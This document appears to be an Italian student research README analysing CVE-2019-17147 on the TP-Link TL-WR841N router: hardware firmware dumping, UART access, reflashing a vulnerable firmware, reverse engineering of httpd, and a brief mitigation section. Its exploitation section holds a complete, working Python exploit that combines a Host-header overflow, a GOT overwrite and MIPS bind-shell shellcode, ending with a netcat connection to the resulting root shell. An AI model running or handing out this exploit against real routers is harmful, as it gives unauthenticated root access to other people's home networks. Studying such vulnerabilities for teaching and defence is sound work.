README.md
Rendering markdown...
# Router Analysis and Exploitation: CVE-2019-17147
**Autori:** Angelo Zullo, Simone Vitto, Vincenzo Cantatore
## Sommario
1. [Introduzione](#1-introduzione)
2. [Creazione dell’infrastruttura](#2-creazione-dellinfrastruttura)
* 2.1 [Analisi fisica del router](#21-analisi-fisica-del-router)
* 2.2 [Dump del contenuto della memoria](#22-dump-del-contenuto-della-memoria)
* 2.3 [Accesso alla console del router tramite porta UART](#23-accesso-alla-console-del-router-tramite-porta-uart)
* 2.4 [Sostituzione del firmware attuale con la versione vulnerabile](#24-sostituzione-del-firmware-attuale-con-la-versione-vulnerabile)
11. [Scoperta ed exploitation della vulnerabilità](#3-scoperta-ed-exploitation-della-vulnerabilità)
* 3.1 [Analisi statica](#31-analisi-statica)
* 3.2 [Analisi dinamica](#32-analisi-dinamica)
* 3.3 [Scrittura dell’exploit](#33-scrittura-dellexploit)
15. [Mitigazione della vulnerabilità](#4-mitigazione-della-vulnerabilità)
16. [Conclusioni](#5-conclusioni)
---
## 1. Introduzione
Il presente documento analizza il processo di reverse engineering e di exploitation di una vulnerabilità critica su un dispositivo di rete commerciale. L'obiettivo è documentare le fasi necessarie per ottenere l'esecuzione di codice arbitrario (RCE), partendo dall'analisi hardware fino allo sviluppo di un exploit software funzionante.
Il caso di studio esaminato riguarda il router **TP-Link TL-WR841N** (architettura **MIPSEL**), affetto dalla vulnerabilità nota come **CVE-2019-17147**.
![][image2]
---
## 2. Creazione dell’infrastruttura
### 2.1 Analisi fisica del router
L'indagine preliminare ha richiesto l'apertura del case del dispositivo per consentire l'accesso diretto alla scheda madre (PCB).
![][image3]
L'ispezione visiva dei circuiti integrati ha permesso di identificare i componenti chiave: la CPU, la memoria RAM e la memoria Flash.
Sulla parte destra della PCB è stata individuata l'interfaccia UART, essenziale per le operazioni di debug.
L'attenzione si è focalizzata sulla memoria Flash, componente deputato alla conservazione del firmware.
![][image4]
Consultando il datasheet del chip **Feon QH32B-104HIP**, è stato confermato che si tratta di una memoria SPI (Serial Peripheral Interface) NOR Flash prodotta da Feon Microelectronics, con capacità di 32 Megabit e tensione operativa compresa tra 2,7 e 3,6 V.
![][image5]
### 2.2 Dump del contenuto della memoria
Al fine di ottenere una copia di backup del firmware originale e analizzarne il contenuto, si procede con l'estrazione (dump) della memoria. Questa operazione è cruciale per prevenire la perdita definitiva del dispositivo in caso di errori critici (brick).
Per la lettura si utilizza un programmatore **CH341A**, interfacciato direttamente al chip tramite una pinza **SOIC8** (In-Circuit Programming), evitando così operazioni di dissaldatura.
![][image6]![][image7]
Mediante il tool `flashrom`, si verifica inizialmente il rilevamento del chip:
```bash
sudo flashrom -p ch341a_spi
```
Successivamente, si esegue la lettura completa della memoria:
```bash
sudo flashrom -p ch341a_spi -r dump.bin
```
Il firmware estratto viene salvato nel file `dump.bin`. Infine, si verifica l'integrità dei dati acquisiti:
```bash
sudo flashrom -p ch341a_spi -v dump.bin
```
Il file ottenuto può essere utilizzato per il ripristino del sistema o sottoposto ad analisi per l'individuazione di credenziali o configurazioni sensibili.
### 2.3 Accesso alla console del router tramite porta UART
Per stabilire una comunicazione seriale con il dispositivo, ci si connette all'interfaccia UART mediante un convertitore USB-TTL.
I collegamenti effettuati sono: **GND-GND**, **TX-RX**, **RX-TX**. Il pin VCC viene isolato, in quanto l'alimentazione è fornita direttamente dall'alimentatore del router.
![][image8]
Si configura il terminale seriale `minicom` con i seguenti parametri standard:
```bash
sudo minicom -s
```
* `Serial Device`: `/dev/ttyUSB0`
* `Bps/Par/Bits`: `115200 8N1`
All'avvio del router, la console visualizza i log di boot. Al termine della procedura di avvio, l'interfaccia fornisce l'accesso a una shell di root senza richiedere credenziali di autenticazione.
![][image9]
### 2.4 Sostituzione del firmware attuale con la versione vulnerabile
Per riprodurre la vulnerabilità, è necessario installare la versione firmware affetta dal bug: `TL-WR841N(US)_V14_180319`.
Dato che il firmware vulnerabile non è più distribuito ufficialmente, è stato recuperato tramite archivi storici digitali (Wayback Machine).
![][image10]
Dopo aver scaricato la versione corretta:
![][image11]
Si nota una discrepanza hardware: il dispositivo in uso è versione **EU** (Europa), mentre il firmware vulnerabile è destinato alla versione **US**. Il flash diretto dell'intero file binario comporterebbe un alto rischio di brick, a causa delle differenze nel bootloader e nelle configurazioni radio.
Si procede, pertanto, all'estrazione e sostituzione selettiva delle sole partizioni del sistema operativo.
Utilizzando `binwalk`, si identificano gli offset delle partizioni:
```bash
binwalk TL-WR841Nv14_US.bin
```
Si estraggono le partizioni di interesse (`boot`, `kernel`, `rootfs`) tramite `dd`:
```bash
dd if=TL-WR841Nv14_US.bin of=mtd0_boot.bin bs=1 skip=53952 count=$((66560 - 53952))
dd if=TL-WR841Nv14_US.bin of=mtd1_kernel.bin bs=1 skip=66560 count=$((1049088 - 66560))
dd if=TL-WR841Nv14_US.bin of=mtd2_rootfs.bin bs=1 skip=1049088
```
Per la scrittura sulla memoria flash del router, è necessario il tool `flashcp` (parte della suite `mtd-utils`) compilato per architettura **MIPSEL**.
Per ottenerlo, si emula un ambiente MIPSEL tramite **QEMU**:
```bash
qemu-system-mipsel \
-M malta -m 1G \
-kernel vmlinux-2.6.32-5-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append “root=/dev/hda1 console=ttyS0 ignore_loglevel” \
-serial mon:stdio \
-net nic -net user
```
![][image12]
All'interno dell'ambiente emulato, si installano le utility necessarie:
```bash
apt-get install mtd-utils
which flashcp
```
![][image13]
Per trasferire i file sul router, si predispone un server TFTP sulla macchina host:
```bash
sudo atfpd --no-fork --daemon --port 6969 --bind-address 0.0.0.0 /srv/tftp
```
Dalla console del router, si scaricano `flashcp` e le partizioni estratte:
```bash
tftp -g -r flashcp 192.168.1.2 6969
chmod +x flashcp
tftp -g -r mtd0_boot.bin 192.168.1.2 6969
tftp -g -r mtd1_kernel.bin 192.168.1.2 6969
tftp -g -r mtd2_rootfs.bin 192.168.1.2 6969
```
Infine, si esegue la riscrittura delle partizioni:
```bash
./flashcp mtd0_boot.bin /dev/mtd0
./flashcp mtd1_kernel.bin /dev/mtd1
./flashcp mtd2_rootfs.bin /dev/mtd2
```
Il dispositivo è ora configurato con il firmware vulnerabile, pronto per la fase di analisi.
---
## 3. Scoperta ed exploitation della vulnerabilità
### 3.1 Analisi statica
L'analisi del firmware inizia con l'estrazione del filesystem dalla partizione `rootfs.bin` tramite `binwalk -Me`.
![][image14]
Esplorando la struttura delle directory:
![][image15]
L'obiettivo è individuare binari esposti che gestiscano input esterni. Il target ideale è il servizio web di amministrazione, situato in `/usr/bin/httpd`.
![][image17]
Httpd è l’acronimo di HyperText Protocol Daemon ed è un software che svolge la funzione di web server.
Utilizziamo IDA per decompilare e analizzare il file:
![][image18]
Il file viene analizzato con il disassemblatore **IDA Pro**.
Fortunatamente il binario non è *stripped*, mantenendo visibili i simboli e i nomi delle funzioni, il che facilita notevolmente il reverse engineering. L'attenzione si concentra sulle funzioni di parsing, vettori comuni di vulnerabilità.
![][image19]
Iniziamo analizzando la funzione `http_parser_main` che conterrà sicuramente la logica principale del parser.
La prima cosa che notiamo è che, oltre ad una lunga lista di variabili all’inizio della funzione, c’è una chiamata alla funzione `memset`:
![][image20]
Questa funzione azzera tutti i 512 byte di “buffer”, quindi mentre procediamo con l’analisi della funzione e rinominiamo tutte le variabili per una migliore comprensione, analizziamo in che maniera viene utilizzato questo buffer.
![][image21]
![][image22]
Si osserva l'utilizzo di una funzione custom denominata `cstr_strncpy` per la gestione degli header HTTP (es. `Host`). Questa funzione accetta un parametro `copy_len` che determina la quantità di dati da copiare. Se questo parametro deriva dalla lunghezza dell'input utente anziché dalla dimensione del buffer di destinazione, si configura una vulnerabilità di tipo **Stack Buffer Overflow**.
Confronto tra i prototipi:
```c
char *strcpy(char *string1, const char *string2);
void cstr_strncpy(char *dest_buffer, const char *src_buffer, int copy_len);
```
L'analisi del codice assembly MIPSEL conferma il comportamento della funzione:
![][image23]
> **Importante:** lo snippet soprastante illustra la logica interna di `cstr_strncpy` e non costituisce il payload dell'exploit.
**Analisi dei registri:**
```text
0x405DF4 cstr_strncpy call
0x405DE4 a0 = vuln_buff
0x405DEC a1 = $s7
0x405DF0 a2 = $v0
```
Dove:
* `a0` (vuln_buff): Buffer di destinazione (Stack).
* `a1` ($s7): Stringa sorgente (Header HTTP controllato dall'utente).
* `a2` ($v0): Lunghezza della copia (Lunghezza stringa sorgente).
Un'altra funzione critica per l'exploit è `http_parser_argStrToList`, che converte una stringa in una struttura dati a lista concatenata (linked list).
![][image24]
La struttura dati gestita è così composta:
![][image25]
La struct contiene due puntatori fondamentali: al nodo precedente e al nodo successivo.
![][image26]
L'operazione di scrittura in memoria avviene tramite l'istruzione `sw` (Store Word):
![][image47]
![][image27]
Controllando il contenuto di questi puntatori tramite l'overflow, è possibile indirizzare l'istruzione `sw` verso un indirizzo arbitrario, realizzando una primitiva di scrittura **Write-What-Where**.
Il codice completo delle funzioni analizzate è disponibile su GitHub:
[https://github.com/imnot-ye/CVE-2019-17147/tree/main/Reversed%20Functions](https://github.com/imnot-ye/CVE-2019-17147/tree/main/Reversed%20Functions)
### 3.2 Analisi dinamica
Per verificare l'overflow e studiare il comportamento del processo a runtime, si utilizza il debugging remoto.
Viene caricato `gdbserver` (compilato per MIPSEL) sul router:
```bash
tftp -g -r gdbserver 192.168.1.2 6969
chmod +x gdbserver
```
![][image28]
Si individua il PID del processo `httpd` (es. 320):
![][image29]
Si avvia il debugger in ascolto sulla porta 4444:
```bash
./gdbserver 0.0.0.0:4444 –attach 320
```
Dalla workstation di analisi, si avvia `gdb-multiarch` per la connessione remota.
![][image30]
Viene utilizzato un primo script Python (PoC) per inviare un payload eccedente i 512 byte:
```python
#!/usr/bin/python3
from pwn import *
import sys
import urllib.request
import urllib.parse
# ... (configurazione classi e connessione) ...
def exploit():
target_ip = '192.168.0.1'
w = WebService(target_ip)
# Payload: 512 bytes di padding + overwrite
host_padding = b'A' * 512 + b'A'*6
w.make_req('/qr.htm', host=host_padding)
# Trigger parsing
w.make_req('/qr.htm', {'_':'hello'})
print("[+] Done!")
if __name__ == '__main__':
exploit()
```
L'esecuzione del PoC causa il crash del servizio `httpd`. Analizzando il registro del crash in GDB:
![][image31]![][image32]
Si osserva un tentativo di dereferenziazione dell'indirizzo **0x41414145** (corrispondente alla stringa "AAAE"). Il crash avviene all'interno di `http_parser_argStrToList`, confermando che l'overflow sovrascrive i puntatori della lista concatenata.
Per pianificare l'exploit, è necessario analizzare le protezioni della memoria:
* **Area dell'overflow:** Heap.
* **Permessi:** Dall'analisi della mappa di memoria (`vmmap`), l'area Heap risulta avere permessi **RWX** (Read, Write, Execute).
![][image33]
La presenza di un Heap eseguibile è una vulnerabilità critica che semplifica notevolmente l'attacco, permettendo l'esecuzione diretta di shellcode senza ricorrere a tecniche ROP complesse.
![][image34]
Analizzando il contenuto della memoria dopo il crash, confermiamo il controllo sui dati:
![][image35]
### 3.3 Scrittura dell’exploit
La strategia di exploitation si basa su tre pilastri:
1. **Possibilità di Overflow:** Capacità di scrivere oltre i limiti del buffer.
2. **Corruzione dei Puntatori:** Controllo dei puntatori `next` e `prev` della struct, permettendo scritture arbitrarie (Write-What-Where).
3. **Heap Eseguibile:** Possibilità di eseguire codice iniettato.
La tecnica scelta consiste nel sovrascrivere una voce della **Global Offset Table (GOT)**. Il target ideale è la funzione `atol`, frequentemente chiamata dal programma. Sovrascrivendo l'indirizzo di `atol` nella GOT con l'indirizzo del nostro shellcode (iniettato nell'Heap), otterremo l'esecuzione arbitraria alla successiva chiamata di tale funzione.
#### Fase di debugging e raffinamento
Durante i test iniziali, si è osservato il comportamento della sovrascrittura:
![][image36]
Il meccanismo di aggiornamento della lista concatenata copia i dati dallo stack all'indirizzo puntato dai registri corrotti.
![][image37]
Inviando un payload malevolo:
![][image38]
I puntatori della lista vengono sovrascritti. La logica della lista concatenata ("unlink" o aggiornamento nodi) utilizza questi indirizzi corrotti per effettuare scritture. Se controlliamo `next` e `prev`, controlliamo **dove** e **cosa** viene scritto.
![][image39]
Durante lo sviluppo dell'exploit, è emersa una problematica legata ai "Bad Characters".
![][image40]
L'indirizzo target conteneva un byte nullo (`\x00`). La funzione `strcpy` termina la copia al primo byte nullo, troncando il payload e rendendo l'attacco inefficace.
![][image41]
#### Soluzione: Staged Payload
Per aggirare la limitazione dei byte nulli, si adotta una tecnica di iniezione a stadi ("Staged Injection"). Poiché il processo riutilizza la stessa area di memoria (Heap) persistente, è possibile inviare più richieste consecutive per comporre il payload finale in memoria un pezzo alla volta.
```python
# Stage 1: Iniezione Shellcode (parte alta)
payload_1= host_padding + b'AAAA' + p32(shellcode_addr, endian='little')
w.make_req('/qr.htm', host=payload_1)
# Stage 2: Scrittura indirizzo GOT (aggira il null byte finale)
print("[+] Overflowing buffer")
payload_2 = host_padding + p32(atol_got_addr, endian='little')
w.make_req('/qr.htm', host=payload_2)
```
![][image42]
#### Riepilogo tecnico dell'attacco
* **Vulnerabilità:** Stack-based Buffer Overflow in `cstr_strncpy`.
* **Vettore:** Manipolazione puntatori Linked List (`http_parser_argStrToList`).
* **Payload:** Shellcode MIPS (Bind Shell).
* **Esecuzione:** Heap Spraying + GOT Overwrite (`atol` -> `Shellcode`).
#### Codice finale dell'exploit
Il seguente script Python automatizza l'intero processo:
```python
#!/usr/bin/python3
from pwn import *
import sys
import urllib.request
import urllib.parse
context.clear()
context.arch = 'mips'
context.bits = 32
context.endian = 'little'
class WebService:
def __init__(self, ip, port=80):
self.rooturl = "http://" + ip + ':' + str(port)
def make_req(self, path, arg=None, host='192.168.0.1', has_ContentLength=False):
headers = {'Host': host}
if has_ContentLength:
headers['Content-Length'] = '0'
if arg is not None:
parameter = arg
parameter = urllib.parse.urlencode(parameter)
fullurl = self.rooturl + path + '?' + parameter
else:
fullurl = self.rooturl + path
req = urllib.request.Request(fullurl, None, headers)
response = urllib.request.urlopen(req)
data = response.read()
return data
def shellcode(port=31337):
# Generazione shellcode Bind Shell
shellcode = shellcraft.mips.linux.bindsh(port)
return asm(shellcode)
def exploit():
target_ip = '192.168.0.1'
w = WebService(target_ip)
# Indirizzi target (specifici per questa versione firmware)
atol_got_addr = 0x423774 - 4
host_padding = b'a' * 512
shellcode_addr = 0x438174
print(f"[*] Attacking target: {target_ip}")
print(f"[*] GOT Address (atol): {hex(atol_got_addr)}")
# Stage 1: Scrittura indirizzo Shellcode
print("[*] Stage 1: Writing Shellcode Address...")
host_str = host_padding + b'AAAA' + p32(shellcode_addr, endian='little')
w.make_req('/qr.htm', host=host_str)
# Stage 2: Scrittura indirizzo GOT
print("[*] Stage 2: Writing GOT Address...")
host_str = host_padding + p32(atol_got_addr, endian='little')
w.make_req('/qr.htm', host=host_str)
# Stage 3: Trigger Write-What-Where
print("[*] Stage 3: Overwriting GOT entry...")
w.make_req('/qr.htm', {'_':'hello'})
# Stage 4: Invio Payload Shellcode
print("[*] Stage 4: Sending Shellcode payload...")
# NOP Sled + Shellcode
host_str = b'q'*0x40 + shellcode(31337)
w.make_req('/qr.htm', host=host_str)
# Stage 5: Hijacking flusso di esecuzione
print("[*] Stage 5: Triggering execution via atol()...")
try:
# Forza chiamata ad atol tramite Content-Length
w.make_req('/qr.htm', has_ContentLength=True)
except Exception:
pass
print("[+] Exploit sent! Try connecting: nc 192.168.0.1 31337")
if __name__ == '__main__':
exploit()
```
Eseguendo l'exploit:
![][image43]
È possibile connettersi alla shell remota ottenuta sulla porta 31337:
![][image44]
L'accesso root al sistema è stato ottenuto con successo.
---
## 4. Mitigazione della vulnerabilità
La correzione della vulnerabilità a livello di codice sorgente richiede l'implementazione di controlli sulla lunghezza dei dati copiati. È imperativo non utilizzare la lunghezza della stringa sorgente come limite per la copia.
**Correzione proposta (Secure Coding):**
Utilizzare la dimensione del buffer di destinazione come limite invalicabile:
```c
// Errato: cstr_strncpy(&buffer, header_value, strlen(header_value));
// Corretto:
size_t buffer_len = sizeof(buffer);
cstr_strncpy(&buffer, header_value, buffer_len - 1);
```
Inoltre, l'assenza di protezioni standard a livello di compilazione aggrava notevolmente il rischio. Sebbene non sia possibile confermare la stabilità del sistema con tutte le protezioni attive senza test approfonditi, è fortemente raccomandato abilitare il bit **NX (No-Execute)** per rendere stack e heap non eseguibili. Questo avrebbe impedito l'esecuzione diretta dello shellcode iniettato nell'heap.
---
## 5. Conclusioni
Il presente studio ha analizzato in dettaglio la vulnerabilità **CVE-2019-17147**, dimostrando come un errore di validazione dell'input in un componente critico come il web server possa compromettere l'intera sicurezza del dispositivo.
La vulnerabilità è classificata con un punteggio **CVSS v3.1 di 8.8 (High)**, indice di un rischio elevato dovuto alla facilità di sfruttamento (nessuna autenticazione richiesta, attacco via rete locale) e all'impatto totale su confidenzialità, integrità e disponibilità.
Riferimento ufficiale: [NIST NVD - CVE-2019-17147](https://nvd.nist.gov/vuln/detail/CVE-2019-17147)
![][image45]![][image46]
L'analisi evidenzia l'importanza cruciale di mantenere aggiornato il firmware dei dispositivi di rete e sottolinea la necessità, per i produttori, di adottare pratiche di sviluppo sicuro (Secure Coding) e di implementare le moderne protezioni dei binari (Exploit Mitigation) per ridurre la superficie di attacco.
---
[image1]: https://i.imgur.com/57h4lq9.png
[image2]: https://i.imgur.com/9FyOyA8.png
[image3]: https://i.imgur.com/r2KRvyd.png
[image4]: https://i.imgur.com/eNq1fy1.png
[image5]: https://i.imgur.com/4hLGnr1.png
[image6]: https://i.imgur.com/DXMTLqB.png
[image7]: https://i.imgur.com/lPxHp1d.png
[image8]: https://i.imgur.com/1zxGWQF.png
[image9]: https://i.imgur.com/RdNmm21.png
[image10]: https://i.imgur.com/5By4Yks.png
[image11]: https://i.imgur.com/cG21KXP.png
[image12]: https://i.imgur.com/esYYq3a.png
[image13]: https://i.imgur.com/SHSgop2.png
[image14]: https://i.imgur.com/G4fRMR0.png
[image15]: https://i.imgur.com/f7kelSK.png
[image16]: https://imgur.com/Pg4pJoW
[image17]: https://i.imgur.com/A9bGDkY.png
[image18]: https://i.imgur.com/fFJk85Y.png
[image19]: https://i.imgur.com/C4QzgrS.png
[image20]: https://i.imgur.com/o8mTQdr.png
[image21]: https://i.imgur.com/S9MoFgC.png
[image22]: https://i.imgur.com/xDCXqGs.png
[image23]: https://i.imgur.com/eUA3HiB.png
[image24]: https://i.imgur.com/5aNZeAK.png
[image25]: https://i.imgur.com/YAGxXgK.png
[image26]: https://i.imgur.com/97GFrit.png
[image27]: https://i.imgur.com/1XtoxzV.png
[image28]: https://i.imgur.com/GuPxiBC.png
[image29]: https://i.imgur.com/VOndPog.png
[image30]: https://i.imgur.com/IZE2pks.png
[image31]: https://i.imgur.com/Mcwofms.png
[image32]: https://i.imgur.com/0Tf9ovL.png
[image33]: https://i.imgur.com/miaXTwA.png
[image34]: https://i.imgur.com/0Qx25gg.png
[image35]: https://i.imgur.com/zkplkQi.png
[image36]: https://i.imgur.com/9EUgeh2.png
[image37]: https://i.imgur.com/Il4dma9.png
[image38]: https://i.imgur.com/BHwGcO5.png
[image39]: https://i.imgur.com/TKLnVo9.png
[image40]: https://i.imgur.com/ArVJX51.png
[image41]: https://i.imgur.com/DLK0K2A.png
[image42]: https://i.imgur.com/pPcii46.png
[image43]: https://i.imgur.com/I45F1th.png
[image44]: https://i.imgur.com/72adjQX.png
[image45]: https://i.imgur.com/AH3nyCz.png
[image46]: https://i.imgur.com/BNZrOUc.png
[image47]:https://i.imgur.com/8WepAhY.png